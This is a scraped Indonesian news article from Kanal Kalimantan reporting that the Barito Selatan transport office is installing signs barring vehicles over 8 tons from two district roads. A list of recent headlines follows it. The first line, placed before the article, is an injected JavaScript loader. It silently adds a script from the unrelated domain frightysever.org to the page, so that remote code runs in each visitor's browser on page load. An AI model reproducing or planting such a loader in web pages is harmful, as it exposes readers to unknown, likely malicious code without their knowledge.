(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Maksimal Dilintasi Angkutan 8 Ton, Dishub Barsel Pasang Rambu Larangan di Dua Ruas Jalan Ini


KANALKALIMANTAN.COM, BUNTOK – Dinas Perhubungan (Dishub) Kabupaten Barito Selatan (Barsel) melakukan pemasangan rambu lalu lintas jalan di beberapa titik lokasi.

Kepala Dishub Barsel Daud Danda mengatakan, pemasangan rambu lalu lintas dipasang seperti jalan Padat Karya dan jalan Kalahien, karena dua akses jalan itu tidak boleh sembarang angkutan atau mobil yang bisa melintas karena ada batasan muatan maksimal.

“Seperti angkutan truk yang melebihi kapasitas lebih dari 8 ton, mobil atau angkutan yang melintas lebih dari 8 ton tidak diperbolehkan,” kata Daud Danda kepada Kanalkalimantan.com, Senin (30/8/2021).

Ia mengatakan, maka itu dilakukan pemasangan rambu pada area jalan kabupaten atau jalan Kelas III, karena jalan Kelas III maksimal hanya bisa dilintasi oleh angkutan atau mobil yang tidak melebihi dari 8 ton.

 

 

Baca juga:47 Sekolah di HSU Kembali Jalani PTM Terbatas

“Karena itu untuk lebih menegaskan agar tidak ada angkutan umum yang melebihi 8 ton melintas, kita lakukan pemasangan rambu-rambu ini,” tegas Daud.

Ia berharap dengan adanya pemasangan rambu-rambu itu tidak ada lagi para sopir baik angkutan umum atau yang lainnya, melintas di atas beban muatan lebih dari 8 ton.

“Kita harap para sopir bisa mentaati dengan adanya aturan pada rambu-rambu yang sudah kita pasang, sehingga untuk jalan yang ada ini tidak akan mudah atau cepat rusak,” pinta Daud.

Pihaknya juga telah menyosialisasikan aturan terkait rambu-rambu yang telah dipasang ini, bila memang ada yang masih tidak mengindahkan bisa dilaporkan kepada Dishub Barsel.

“Jadi jika memang masih ada yang tidak patuh bisa laporkan kepada kita untuk dapat ditindak lebih lanjut, sesuai dengan aturan Undang-Undang nomor 28 tahun 2009 pasal 19, semua akses jalan Kelas III tidak boleh dilintasi oleh angkutan yang lebih dari 8 ton,” pungkas Daud.(kanalkalimantan.com/digdo)

Reporter: digdo
Editor : bie

 


Desy Arfianty

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

4 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

6 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

7 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

8 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

8 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

12 jam ago

This website uses cookies.